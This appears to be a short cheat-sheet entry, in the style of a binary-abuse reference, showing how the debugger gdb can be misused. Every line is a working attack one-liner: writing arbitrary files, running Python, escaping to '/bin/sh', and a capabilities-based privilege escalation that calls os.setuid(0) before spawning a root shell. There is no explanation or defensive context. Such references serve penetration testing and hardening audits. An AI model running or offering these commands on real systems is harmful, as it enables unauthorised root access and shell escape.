gdb

File Write

gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit

Inherit

This allows to run Python code (`...`).

gdb -nx -ex 'python ...' -ex quit

Shell

gdb -nx -ex '!/bin/sh' -ex quit

CAPABILITIES override:

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit